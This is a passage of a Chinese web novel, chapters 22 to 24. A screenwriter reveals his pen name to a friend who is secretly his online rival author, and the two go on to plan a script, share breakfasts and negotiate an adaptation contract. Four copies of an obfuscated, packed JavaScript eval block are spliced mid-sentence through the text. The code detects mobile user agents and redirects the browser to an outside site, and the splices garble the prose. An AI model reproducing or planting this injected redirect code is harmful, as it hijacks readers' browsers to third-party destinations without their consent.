“毕晗梦里醒来的时候仆人在旁边喊了五声很急的小姐，从这个真正的梦里醒来的时候，仆人喊了四声‘小姐’，第一次噩梦应验，家破人亡后醒来，仆人喊了三声‘小姐’，她开始收集证据试图拯救家族，可是她没有找到任何家里贪墨的证据，这个世界她的父亲和哥哥是被诬陷的，再一次醒来，仆人喊了两声‘小姐’，情绪也没前两次高了，毕晗其实有所发现，但是没有很在意，这一次毕晗发现了和之前不同的地方，她发现了家里的财库多了很多不义之财，但是她以为和上一次一样，家人都是被污蔑的，所以只是一味地澄清，发现的时候为时已晚，最后一次，仆人是满头白发的，她说：‘小姐，这是最后一次了。’” 颜语凉察觉到自己说得有些乱，在这几个小人旁边分别标上了1、2、3、4。 1号世界 未知 2号世界 清白 3号世界 不清白 4号世界 待定 “所以这个仆人也是串起这个故事的关键，四号世界中的结局，可以是毕晗知道了哥哥和父亲勾结外寇和贪墨国库的真正原因，贪墨不是为了自己的生活过得更好，而是接到任务需要假装与外敌交好获取情报。”祝君忱提议道。 颜语凉一听觉得这个想法非常好，不囿于小小的家族情怀直接上升到了时代的家国情怀，他把笔下的待定划掉，改成了“不清白但清白”。 顺便评价祝君忱道：“你肯定很会写反转。” 祝君忱在颜语凉写字的时候目光从他身上挪到他身后的书架上，架子最顺手的那一层放着几本外国文学和几本科普类读物，这一层的下面一层往往不那么顺手但是也能一眼就能看到放了什么书。 之前这一层被颜语凉的椅子挡住了大半，他就没有关注到这层，刚刚颜语凉把椅子往前挪，这层书才完完整整地露出来。 满满当当的全是言不言的书。 从左到右似乎是按出版时间排的，有的甚至不止一本，每本书的各个版本都有。 由于书籍版权的变迁很多已经绝版了，资深书粉都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758097|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么全， 祝君忱忍不住扫了好几眼，看到有两本书是书页朝外，一本在中间，一本在最右侧，看起来是最新发表的。 但是—— 祝君忱的目光从最右侧的那本书页朝外的书上往前移了一寸，落在它前面那本上。 如果他没记错的话，这才是言不言最新出版的书。 颜语凉着急记点东西，没注意到祝君忱脸上的表情变化。 “给我递张纸呗。” 祝君忱从纸堆里给他抽了一张没写过的。 颜语凉接过，大手一挥把他想好的剧本名写了上去。 “《小姐小姐》。”一边写一边念叨，最后习惯性地在文名下面写下了三个字。 颜语凉写小说和写剧本的时候都会做一个这样的简易封面，然后把写在纸上的大纲和人设装订在一起，这样就不会弄丢，也不会杂乱。 颜语凉落完笔，盯着“言不言”这三个字有些出神。 他拎着这张纸，想起来祝君忱之前说的，他有个朋友不喜欢言不言。 可是他不可能一辈子都瞒着祝君忱这个笔名，尤其参加青书比赛的目的不仅仅是丰富简历，也是想给他“言不言”的名字在剧作圈的名声打得更响一点，到最后决赛的时候肯定要签这个名字，不如—— 思及此，颜语凉把这个简陋封面和另外两张简易纲要装订在一起，递给祝君忱。 祝君忱接过，目光从书架上挪到手中的这一小叠纸上，最后停在“言不言”三个字上，眉头微蹙，越蹙越深，聪明的他头一次这么不聪明，不理解地问：“什么意思？” “剧本名和创作者名呀，你把你的名字写我的旁边就行，写笔名也行，当然你不想写也行，反正这只是一个普通的纸质稿，不过我还是希望你能写，毕竟这个剧本是我们一起完成的嘛，也算留个……呃，纪念。” 颜语凉说完还想说：“你朋友如果不喜欢言不言的话就不要跟他说你认识我就行了，但是我是言不言这个事实是无法更改的。” 但是他没能说出口，连这句话说完都有些磕巴。因为他从未看到祝君忱的脸上有过那么多复杂的情绪，几分的惊吓，几分的不敢相信，几分的恍然大悟，最后又变成了几分的不知所措，然后只一秒就全部隐去了，像用一张大网拼命罩住了那一场海啸。 而祝君忱在颜语凉说出“言不言”是他的笔名是那一刻，脑海里闪过无数的画面—— “给今辰好打负分”，“说到朋友喜欢今辰好就赶紧撇开”，“否认别人说他喜欢言不言，但是并不是讨厌言不言。”……祝君忱听到的时候总是从今辰好身上找原因，但其实万般种种都只有一个缘故，那就是—— ——颜语凉是言不言本人。 空气在这一刻凝固成冰，动一下冰碴子都要碎个满地。 颜语凉看到对方的目光往回收了一下，似乎落在了桌板下方的某一处。 祝君忱把捏在手上的纸平放在桌上，就像他眼底的光亮那样平。 “你……”怎么了？ 颜语凉想问，但是祝君忱比他先开口。 “你是言不言？”再度确认。 对视像陨石落在地球上爆炸后留下的一个深坑。 灼热、难测，直到失焦。 22. 美男计 “对，我是言不言，如假包换，假一赔十。”颜语凉开了句玩笑试图缓解尴尬。他心里很没底，因为对方的表现不像是普通的惊讶，他有些慌乱地把刚刚没说完的话说完，“如果你朋友介意的话不要告诉他就好了。” 看祝君忱刚刚的表情，他甚至有一瞬间怀疑对方那个讨厌自己的朋友就是今辰好，不过想来应该不会这么巧。 祝君忱脸上又挂上了平和的笑，好像刚才的失态只是做梦一样，抬笔在“言不言”三个字旁边空两个字的间距写下了“忱”。 这是不想告诉他笔名的意思了。 颜语凉接过这叠纸，打趣道：“你的笔名爆出来不会惊天动地吧。” 祝君忱低声说：“说出来吓死你。” 颜语凉不信邪，挑衅道：“说出来看看。” 祝君忱没有接他激将法的战术，抬手指着那排放着“言不言著作”的书架说：“那一排都是你的书？” 颜语凉回头扫了一眼：“嗯。” “为什么有两本书是反过来放的？”祝君忱问出了刚才心头的问号。 颜语凉顿了一下，抿着唇转身把这两本书抽出来，放在桌上给祝君忱看，让他自己品。 一本是《账本》，一本是《尘封水》。 一本金灿灿，一本黑漆漆。 共同点是今辰好的名字都亮晶晶地写在封面上。 祝君忱对这两本书简直不能再熟悉，盯着这两本书封两秒，突然用手抵着唇很轻地笑了一声，意味不明地说：“找到了。” “什么？”颜语凉懵了一下。 祝君忱垂眼摇摇头，弯腰从地上捡起不知道什么时候掉了的笔说：“笔。” 当然不是笔，是回答颜语凉之前的那句“有没有在我的房间找到你的书”。 找到了。 想想原本睡在它的纸盒子小猫窝里，这会儿像是无聊了，从窝里爬出来，坐在颜语凉脚边叫了一声。 颜语凉把它抱起来，环在怀里摸它的头，小猫舒服地眯起眼，他抱得更紧了一些，和它脸贴着脸。 “这样可舒服了！”颜语凉对祝君忱说，他是舒服了，想想被他挤得可不舒服，直接挣扎罢工跳下他的膝盖，晃着尾巴踱出了书房。 颜语凉对着它的背影皱皱脸。 回头的时候发现祝君忱正在看着他，那双他曾经无数次夸过好看的眼睛，在他身上落下滚烫的目光，但在被他触及的那一刻，那团火似乎就熄灭了。 “怎么了？”颜语凉感到奇怪。 “言不言老师，有个问题，”祝君忱换了个称呼，把颜语凉喊得耳朵痒痒，他单手支着脖子，抬眼似乎有些漫不经心地问，“网上不是都在传你和今辰好水火不容，接《尘封水》是别有所图。所以，你接《尘封水》是为什么？” “我澄清一下，不是网上都在传，是我和今辰好就是水火不容。”颜语凉随手捞了支笔转起来，姿态随意地说，“网上不是说我有可能不知情，接了剧本之后才知道这是今辰好的书吗？” 这是在路人间流传最广的版本，或者说，是网络上炒得最火的版本。 数字化的时代，大家都喜欢戏剧化的剧情。 但是很扯，但凡关注他们俩其中一个的就知道，《尘封水》在更新期间，言不言在评论区吐了多少口水，也因此两家书粉吵了不少架。 祝君忱摇头说：“不可能，你那么关注他，怎么可能不知道《尘封水》是今辰好的书。” 他翻开桌上那本《尘封水》实体书，里面随书附赠的书签还精致地夹在里面。 颜语凉一听，不乐意了：“什么叫我那么关注他？” 默了一秒，他似乎觉得祝君忱说的也没错，不关注对方怎么见缝插针地怼他？ “所以，是为什么。”祝君忱修长的指节覆在书页上，依然问。 颜语凉抿了一下唇说：“我之前跟你说过，他的作品我能打一百分吧，《尘封水》我给他打97分，三分扣在前期的剧情平缓无聊还有点无厘头骗我喷了他三千字，甚至他有些忠实粉都觉得我说的是对的。但是从七十章开始，拼命反转，前面每一个剧情点全是铺垫，我的那三千字成了他这篇文的精华提炼，从那天起，有人怀疑我是今辰好的托，说我俩吵架纯炒作。” 祝君忱闻言，眉眼弯起来，偷偷笑出了声。 颜语凉睨他一眼：“你也觉得我是他托？” 祝君忱脸上的笑一点没淡，却否认道：“怎么可能。” 是不是托，他本人还能不知道吗？ 颜语凉正色道：“不得不承认这本书写得很厉害，但是，改编剧是不一样的，很多网络剧导演看中的不是作品本身的重量，而是话题度，他们总是喜欢迎合市场，把本子东一砍西一砍，爆了就踩狗屎运，没爆也就被骂两句，无伤大雅。 但是对原作者来说，这个本子就像寄养出去的小猫，没有被好好对待的话会很心痛的。” 祝君忱听得认真，他闷头翻了两页《尘封水》，发现有一些句子被整整齐齐地划下来，在旁边写下了一些镜头点。 “刚刚我说了，这本《尘封水》前期太平，平得老套，而且主角行为不合理得就像脱离了书本，这些都是给后面的文章埋伏笔，在小说文字表述时，作者可以在字里行间暗示这不对劲，一点点勾起读者的探索欲，虽然他有时候写得干巴巴的，但是不得不承认他的笔力是够的。 可是，要拍成剧是不一样的，这种异样的平很难展现，剧本更需要冲突，更别说有的编剧根本懒得完完整整读完原著，说不定最后把后面反转砍了直接变成一部注水脑残刑侦剧，那今辰好就等着捂着枕头哭吧。”颜语凉说完挑了下眉，脑海里蹦出个小人捂着枕头哭，把枕头都哭发芽了，他被逗得噗嗤一笑。 继续说：“我正好专业对口，正好我看过这本书，我自诩对这本书还算了解，正好可以练练手就接了，改烂了就像网上说的那样当我报复他呗。反正我俩关系都这种地步了，破罐子破摔也摔不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758098|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样了。” 祝君忱闷头翻了两页《尘封水》没有说话。 颜语凉盯着他的手指，心说这人怎么连翻书都这么优雅，看到了旁边的《账本》，干脆把这件事也说了：“我还改过他的《账本》你看过吗？” “看过。”祝君忱目光微动，《账本》刚播出的时候他就常常怀疑这个人的品味，后来拜读了一下本人的小说，似乎也还好，当时觉得这位作者可能只是改自己书的时候不够认真或者脑子抽了。 颜语凉把桌上那本金色封面的书，拖到自己面前，随便翻了好几页，上面的笔记是用铅笔写的，但是依然有很多涂改的痕迹：“当时这本书的剧组演女主的演员是带资进组的大小姐，硬要来演一个乡野丫头，你说扯不扯？” 这是祝君忱所不知道的背后故事，他抬头，很轻地把目光放在颜语凉手中的《账本》上。 “但是那些都是我在进组前就定了的，我很早之前就看过这本书，当时我刚进圈子，看到《账本》的剧本的时候，要不是女主名字一样，我都怀疑这不是同一本书。 后来打听了一下，说是演女主的演员想炒cp火，加了好几条感情线，直接推着导演把这本书改成了玛丽苏狗血文，攀上枝头变凤凰的那种。” 祝君忱想想那个画面都觉得惨不忍睹。 “可能是今辰好第一次签影视版权，不知道里面水有多深吧，当然也不排除他想赚钱想疯了。”颜语凉嘴毒着推测道，继续说，“后来我去了，剧本几乎全部推翻重新改，才有了最后那个成绩还不算丢人的《账本》。” 祝君忱不自觉收紧了手指，奇怪道：“听起来你的剧本也不太如那个带资进组的演员所愿，你改的时候她没有吵吗？” 颜语凉把手上的书合上，抬头说：“意外地好解决，她不高兴请她吃顿饭和她讲讲道理就行了。” 原来是美男计。 祝君忱眉一挑：“那你请她吃了几顿？” 颜语凉似乎回忆了一下，没想起来，只是说：“还蛮多次的。” 请得他都快钱包空空，倒贴进组了。 祝君忱脱口而出说了句：“抱歉。” 颜语凉站起身想把两本书收起来放回书架上，闻言一愣，伸出的手顿在半空，奇怪道：“抱什么歉？” “替我朋友说声抱歉。” “哦，”颜语凉其实不怎么在意，“萝卜青菜各有所爱嘛，有什么好抱歉的。” 颜语凉把两本书物归原位，今天想好了剧本的大致剧情，大纲写起来也很快，还跟祝君忱说了自己的笔名，他感觉一身轻，满足地轻哼了一段旋律。 “那，”祝君忱也站了起来，表情十分自然地顺着之前的话题问，“如果那本《海纳百石》要改剧了，你想签吗？” 今天上午坐的时间太久，颜语凉有些疲惫地伸了个懒腰，听到这个问题不禁有些好笑：“《尘封水》火成这样，今辰好这本新书应该不缺大公司谈合作吧，说不定我想签还签不上呢。” 23. 大魔王 祝君忱脑海里回想起那天在香橙水榭的谈话，说：“万一大公司们看上的是你们合作热度高呢？” “同样，《尘封水》的爆火也给他带来了更多话语权，我猜今辰好肯定不会喜欢这样的热度，遇到这样的公司直接拒绝就好了。” “如果他指名让你来签编剧呢？” 颜语凉眉眼一合，像是听到了什么荒谬的故事，写了满脸的“是你疯了还是我疯了”。 他言简意赅：“除非今辰好脑子坏了，不然《海纳百石》的编剧不可能是我。” 祝君忱没有立马说话，把刚才拿出来的笔塞进笔筒里，才抬头附和道：“说的也是。” 已经是中午时间，两人都没有准备午饭，直接去楼下面馆点牛肉面吃。 一块儿下楼的时候颜语凉才想起来自己从昨天晚上开始就没有好好看过消息了。 翻微信的时候才发现[地球研究小组]里有了很多条新消息。 [地球研究小组（4）] 昨天晚上十点钟左右，在他刚刚开始坐在书桌前写东西的时候。 【桃女王】：@我无言以对 你快去看博客啊，今辰好点赞了一条博客 【桃女王】：[咬丝巾生气.jpg] 【我是走远】：又出啥幺蛾子了？ 【桃女王】：[图片] 【桃女王】：言爷你又去他新书首页踩脚印去了？ 图片上是今辰好的博客动态，显示他刚刚点赞了一条帖子，这条帖子整理了这两年来言不言挂在今辰好每本书脚印榜第一个的记录，并且阴阳怪气地说言不言其实是爱得太深，是个病娇，每天喷今辰好不过是欲擒故纵，为了引起本人注意罢了，不然哪解释得通为什么言不言一而再接今辰好书改剧。 【我是走远】：这人霸总文看多了吧？？？ 【桃女王】：24k纯神金哈 【我是走远】：@程和欢 霸总你怎么看？ 【程和欢】：拿手机看 【我是走远】：@我无言以对 病娇爷你怎么看？ 过了半个小时都没人吭声。 【桃女王】：他不会被气死了吧 【我是走远】：又写小说去了？ 【桃女王】：[幽怨.jpg] 【桃女王】：必不可能，他之前跟我说新文要等到明年，说不定又跟艳遇待一块呢。 【我是走远】：你怎么知道咱小颜同学昨天晚上去西校区看小艳打篮球去了？ 【桃女王】：什么？小艳也是A大的吗？小艳和小颜吗？有意思。 【程和欢】：最近是青书开始了吧？ 【桃女王】：忘记了，那他应该是写大纲去了 【我是走远】：可惜了，今晚是看不到言不言大战今辰好了 颜语凉点开那张图片，上边今辰好点赞的那条博客甚至是个九宫格，他转而把手机屏幕竖给祝君忱看，告状一般说：“看，我又发现了这人一个特质，你说他是不是巨自恋？” 祝君忱只看了一眼就知道是什么，垂目扫过，眼神从屏幕上移到颜语凉拿着手机的指尖。 手机只在他面前停留了一秒就被颜语凉收了回去，他退出微信登录博客去看祝君忱的博客，页面闪白一下，加载成功—— 颜语凉奇怪道：“咦？怎么没了？” “手滑了吧。”祝君忱说。 “……”颜语凉不信邪地又刷新一下，确实没有，抬头对祝君忱说，“我不觉得他会手滑，就算他手滑了，我觉得他也不会取消。” [地球研究小组（4）] 【我无言以对 回复 程和欢】：是在准备青书的事 【我无言以对】：[图片] 【我无言以对】：怎么没有？ 【我无言以对】：我都想好怎么喷了 【桃女王】：怎么没有？我上午看还有呢 廖寻桃也不信，跑去一看确实没了。 【桃女王】：？怎么没了？ 【桃女王】：我昨天熬大夜，给我熬穿越了？ 【我是走远】：真相只有一个，那就是他刚刚取消了。 【我无言以对】：这可能吗？ 【桃女王】：这可能吗？ 【程和欢】：其实不是没可能。 虽然不太可能，但是似乎只有这个可能，后来颜语凉辗转反侧也没想明白为什么对方突然取消了这个赞。 晚上他在列《小姐小姐》的思维导图的时候，不知道怎么的又想起来了这件事，便跑去博客刷了一会儿。 今辰好最新一条博客停留在《海纳百石》完结的通知，他看到今辰好在今天下午的时候回复了一个评论。 [今天的月亮真美]：老师，这本书以后会有改编剧吗？ [今辰好 回复 @今天的月亮真美]：会。 [再来一口初末吧 回复 @今辰好]：虽然说起来不太中听，但是我不相信除了言不言之外的编剧了，尘封水真的是我看过最好的书改剧了，好好老师，你们有三搭的可能吗？[可怜.jpg] [今辰好 回复 @再来一口初末吧 ]：@言不言 下面跟着一堆评论附和着让言不言来当编剧，有今辰好在前面艾特言不言，他的书粉也不好多说什么不要在评论区艾特那个谁了。 颜语凉盯着今辰好的头像，辨认了半天确定这个不是高仿号，心说这人居然就这样把决定权交到他手里了？ 什么意思？ 如果他说“有可能”，那对方是不是就直接回个“想得美”，直接啪啪打他的脸？ 如果他说“没可能”，那对方是不是就要说“你还挺有自知之明”，直接让他下不来台？ 好心机的今辰好！ 还好这个人早就被他看得透透的。 遂，颜语凉回复道—— [言不言 回复 @今辰好]：求我。 他没等到今辰好求他，但是等到了早饭魔王的消息。 【忱.】:[视频] 【忱.】:我明天早上试试做这个，要来试毒吗？ 这个视频大抵是别的平台找的教学视频，是个做“火腿抱蛋”的教程，火腿肠切开，中间打两个蛋，在锅里煎。 颜色鲜亮，味道鲜美。 隔着屏幕都能闻到味。 颜语凉盯着这个“试毒”两个字好久，回过神来的时候肚子清脆地响了一声，他晚饭吃的少，这会儿单单看着祝君忱发来的视频就饿了。 【我无言以对】:吃。 【我无言以对】:真的有毒吗？ 【忱.】:放心 【忱.】:到时候我吃第一口 【我无言以对】:行 【我无言以对】:出事我给你打120 【忱.】:嗯。 颜语凉靠在椅子上，盯着这个“嗯”轻笑出声。 和祝君忱聊天怎么这么好玩。 他昨天睡得少，今天很累，一沾床就睡着了，做了一个不太清明的梦，一睁眼就忘了，醒来时间刚过八点半。 翻开手机的时候发现祝君忱已经给他发过消息了。 【忱.】:[图片] 【忱.】:开始做了。 【忱.】:第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758099|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个有点翻车，我吃 【忱.】:第二个完美，给你吃 【忱.】:醒了下来？给你放保温箱了。 颜语凉还不大清醒，盯着这几条消息，把头埋在枕头里，忽然想起来昨夜做了个什么梦。 梦见祝君忱穿着小围裙在厨房里煎饼，不像普通厨房，更像一个蛋糕房，他胸口别了个胸牌，上面写着“早饭大魔王”，祝君忱一边炸，颜语凉一边伸手吃。 炸一个吃一个，炸两个吃两个。 对方问他:“不烫吗？” 他说:“没关系，叫救护车就好了。” 颜语凉被梦里的自己蠢到了，愤恨地揍了一拳枕头，柔软的枕头留下了他的拳头印，像沁出的泪花。 想想在地毯上被他的动静震醒了，拉着身子伸了个懒腰。 颜语凉盯着它雪白的长毛，又想起来梦里还有想想的戏份。 祝君忱跟他说猫粮也可以放锅里煎，结果煎出来，想想突然说话了，说:“这个有毒，我不吃。” 颜语凉翻了个身打算想出更多细节，但是盯着天花板好一会儿都脑袋空空，干脆坐起来洗漱去。 他第二次来到祝君忱家里，和他第一次来几乎没有什么改变，唯一不一样的大概就是茶几上的专业书换成了几本德国小说。 那罩子里的蓝色玫瑰依然鲜艳欲滴。 “真的是永生花啊，它是怎么做的？”颜语凉和上次一样第一眼就看到了这簇花，还是忍不住凑近去看。 祝君忱把做的早餐从保温箱里拿出来，端在餐桌上，回头招呼他坐过来，说：“不太清楚，好像说什么去水分染色固色。” “这个蓝色是染的啊。”颜语凉有些遗憾，不过他确实没有见过那么漂亮而纯粹的蓝。 他看到祝君忱只端了一份在桌上，奇怪地问：“怎么就一份？” “我吃过了。”祝君忱坐在沙发上随手拿起茶几上的那本《瓦尔登湖》，翻了两页。 “你每天都吃早饭吗？一般都几点起床做早饭呀？”颜语凉用筷子拨弄这个和昨晚看的视频上大差不差的“火腿抱蛋”，咬上去。 火腿的皮被煎得有些脆，中间抱着的蛋一破就流汁，居然是温泉蛋。 不愧是早饭魔王。 早饭魔王含笑，语气轻快：“七点半起床做的，早饭是一天中最重要的一餐。” 颜语凉却嘟囔：“小颜大师曾经说过，早饭可有可无，人生无法无天。” 祝君忱没听清：“什么？” 颜语凉把自创的那句牛头不对马嘴的话咽进去，转头看着他手上那本书，说：“你这本书我看过，我记得有句话我很喜欢‘让我们清晨即起，吃或者不吃早餐，平心静气，安宁祥和’。” “……”祝君忱翻书的手停住了，看向他，“作者希望痛饮河水，他的头能挖洞，你也希望吗？” 反应真快。 就跟今辰好似的。 “抱歉。”祝君忱似乎意识到自己的语气带了点刺，语气变软，柔声道，“你不爱吃早饭的话，明天我不喊你了。” 颜语凉眼皮子一抬，他发现了。 他发现只要祝君忱用这个语气说话，他就拒绝不了。 抽了桌上的一张纸巾抹尽了嘴边的余沫，丢进垃圾桶。 他眨眨眼回味着最后一口的回香，说:“我吃。” 上钩了。 祝君忱嘴角不易察觉地上扬。 手上翻页的动作慢了些，轻而易举地找到了颜语凉刚刚说的那句话，在旁边画了一个微笑表情。 就这样，颜语凉这个周末的早餐被大魔王承包了。 24. 扑克牌 周一。 外面的天灰沉沉的，云层厚重地压着，很快飘起雨点来。 林家两个小孩“咚咚咚”地敲响了颜语凉的门。 “颜哥——” 颜语凉前一天晚上说好了让他们今天过来玩。 但是也没说这么早啊！ 颜语凉听着敲门声，捂了下枕头，囫囵睁开眼，翻开手机看了一眼。 十一点整。 原来不是天色尚早，而是因为天色不好。 这两天他不说日夜颠倒，但是每天都睡得很晚，可以说是日夜半颠倒。 “来了，等一下——” 颜语凉起床跑到卫生间稍微收拾了一下，让自己看起来更符合他们心中的邻家哥哥的形象。 “颜哥，早上好。”林夕繁乖巧地唤了一声，后边跟着的俞归絮也朝他笑。 “早啊。”颜语凉很自然地回应一句，下一秒才反应过来，“不早了，都十一点了。” 两个小孩虽然跟他熟，但是第一次来难免有些拘谨。 想想从他卧室里轻手轻脚出来，瞧见有客人来也不怵，“喵”的叫了一声，跳到沙发上坐在属于它的毯子里。 林夕繁分外喜欢小动物，惊喜道：“哇，颜哥你的小猫好漂亮！” 颜语凉很受用，听得美滋滋的，抱起想想给林夕繁看，林夕繁伸手指戳戳想想的耳朵，那只雪白的耳朵灵敏地弹动两下。 “俞归絮你试试。” 俞归絮没有逗弄小猫的心思，抬手摸摸想想的头，小猫舒服地眯眯眼。 已经靠中午了，颜语凉带两人下楼去小餐馆吃了一顿，便回了家。 昨天下午的时候瞧见林夕繁的朋友圈发了最近拼的积木，想起来自己这零零散散有两件乐高，便联系了林夕繁，问他们要不要趁正在兴头上来他那帮他也拼了。 本意是在开玩笑，没想到林夕繁真应了，热情地说要来帮他拼。 就有了现在颜语凉把放在柜子里积灰的积木拿出来给他们玩的画面。 “这个例图看起来好帅啊！” 林夕繁手上的盒子拆开来是一辆跑车，几乎没有男孩子能拒绝这么一辆帅气精致的车。 另外一个是一辆海盗船，黑色系的，酷帅。 但是颜语凉看着这些积木就头痛:“你们可以拿回宿舍拼，拼完就送你们了，可以放我这，到时候给你们寄回家去。” “颜哥，你不爱拼为什么买呀？”林夕繁一边捧着例图两眼放光一边疑惑道。 “之前写小说，写男主爱拼积木就买了几套，”颜语凉回想起那段故事，无奈道，“但是我真的没空拼，根本没有想象中简单。” * 一个高档的小咖啡厅，桌上摆着名贵的熏香。 祝君忱抬起手机看了一眼，颜语凉还是没有回他消息，睡觉睡到十二点吗？ 他刚要发消息，挂在门帘上的风铃便响了，有人推门进来，他放下手机起身，冲来人露出一个标准的笑。 进来的人西装笔挺，满脸英气，看见祝君忱友善地笑道：“今辰好老师，你好。” “你好。”祝君忱礼貌地笑着，服务员非常有眼力见地端来了两杯咖啡。 “《尘封水》的成功在我们意料之外，大家都很欣喜，很期待和您达成第二次合作。”光耀森灵的总裁看起来只有三十出头，举手投足间流露出几分贵气，当初《尘封水》签版权的时候面谈的只是一个分公司的小啰啰，现在居然直接请动了大boss。 但是祝君忱并不怵大场面，闷头抿了口咖啡，是气泡美式。看到菜单的时候他想起颜语凉前几天转着咖啡杯的手故意点的，此刻他不禁恍了下神。苦味渗透舌尖，祝君忱抬起头来含笑寒暄：“秦总客气，我也没想到《尘封水》有这样的结果。” 秦总点了下头说：“联系您快一个月，消息都石沉大海，我以为你不喜欢我们的条件，不想合作呢。” 光耀森灵是大公司，签《海纳百石》给的报酬无比优渥，但是有一个条件，也是祝君忱之前死活不想答应的条件——编剧第一选择会是言不言。 “之前对言不言老师有些误解，现在我觉得这个条件完全可以接受。” 秦总眉眼一弯，招呼旁边的秘书：“小赵，拿合同。” “不过，”祝君忱的视线聚焦在雪白的合同上，接过，翻开，眼底闪过一丝不易察觉的试探，“言不言老师不太喜欢我，如果他不想接呢？” 秦总脸上的笑加深了，从容道：“我们会给他极好的待遇，让他难以拒绝。” 祝君忱的手指摩挲着杯柄，露出一个满意的笑，翻开合约签下了自己的名字。 在对方看来，或许认为祝君忱这个笑是对自己的编剧将会是言不言而感到满意。 但其实不止如此，他还为自己给颜语凉争取了更多而感到开心。 别的公司或许只是想找言不言，请不请得动另说，在网上有个噱头就行。 但是光耀森灵是真的有资本去请言不言。 * “颜哥，你这个找错了。” “哦，这两个不长一样吗？诶，这块怎么还有个洞啊。” 而另一边一无所知的颜语凉还在陪两个弟弟热火朝天地找着积木碎片。 找得头都晕了，靠在椅子上叹气：“我果然不适合这种慢工出细活的手艺。” “你歇会吧颜哥，不是你的问题，说明书在我们这，你看不清楚很正常。”林夕繁安慰道，喝了一口橙汁继续埋头苦找。 他和俞归絮两个人一个找一个拼，配合好得不行。 颜语凉给他们竖了个大拇指，称赞道：“不愧是从小一起长大的，分工明确，默契无间。” 话音刚落，他口袋里的手机嗡嗡作响。 每次他很长时间不看手机都会有一种不详的预感，这次也一样。 是祝君忱打来的。 “喂？”颜语凉接通电话，对面默了一会儿才回应，他有些奇怪道，“怎么了？” “刚醒吗?”祝君忱犹豫着问道。 “怎么可能？都下午一点了。”颜语凉有些奇怪。 电话里的声音又停了一秒，颜语凉听到祝君忱压低了些声音，语调里沾上一抹委屈，说：“你没看我消息？” 颜语凉手忙脚乱地退出通话界面，点开微信，往下翻了一页才看到祝君忱的消息，这人给他发消息的时候是在八点，和周末那两天一样让他醒了去吃早饭，还给他发了个“吃早饭的十大好处”的帖子，最后还发了一个说他出门去了，下楼吃早饭跟他说一声他可以远程智能门锁开门。可惜都被那些杂碎群聊诸如蛋糕啊、面包啊、超市啊还有各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758100|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式各样的校友群挤了下去。 两个弟弟很乖地没有打扰他打电话，但是林夕繁找积木的动作明显慢了，有一颗八卦之心的他竖着耳朵听着哥哥有些心虚地说：“对不起啊，我没看见。” 颜语凉连忙点了两下屏幕，眨眨眼说：“我给你放置顶了，以后都不会漏看了。” 他的置顶很少，只有一个地球研究小组和陆择老师。 现在多了一个祝君忱。 “很荣幸成为言不言老师的置顶，”祝君忱语气恢复正常，随即笑道，“我在你家门口。” 颜语凉没听出他的话语中掺杂了几丝得逞，一听祝君忱在门口便欣喜地挂了电话，跑到玄关给他开了门：“在门口直接敲门不就好了。” “怕你不在家。” “怕我不在家你在我门口站着干嘛？” “感觉你在家。” 颜语凉被他绕晕了。 眼神往下瞥瞧见祝君忱穿了一条白色的西装裤，显得腿好长，不禁又抬眼和他对视，不吝称赞地说:“你今天是去谈正事了吗？你穿西装肯定很好看，肯定什么事都能谈成。” “借你吉言，”祝君忱垂眸轻笑，偏头看见屋里有人正好奇地盯着他们，他侧头的幅度很小，问道，“有客人？” “嗯。”颜语凉回头看到两个弟弟已经停下了拼积木的手，正好奇地看着玄关这边，林夕繁脸上的神情尤为明显。 “那我不打扰了？”祝君忱弯起眼睛。 颜语凉却摇头，拽了一下他的衣角示意他进来说：“《小姐小姐》还有几个剧情点没聊完呢，他们玩他们的，我们去书房聊我们的。” 祝君忱后脚跟着走进了他的屋子，颜语凉跟坐在桌边的两人说：“这位是我的朋友，是跟你们一个校区的学长。” 两个弟弟礼貌道：“学长好。” 祝君忱点头应了一声便被颜语凉带进了书房。 “我给你算算事业运吧。”祝君忱一坐下，就微微笑着对颜语凉说。 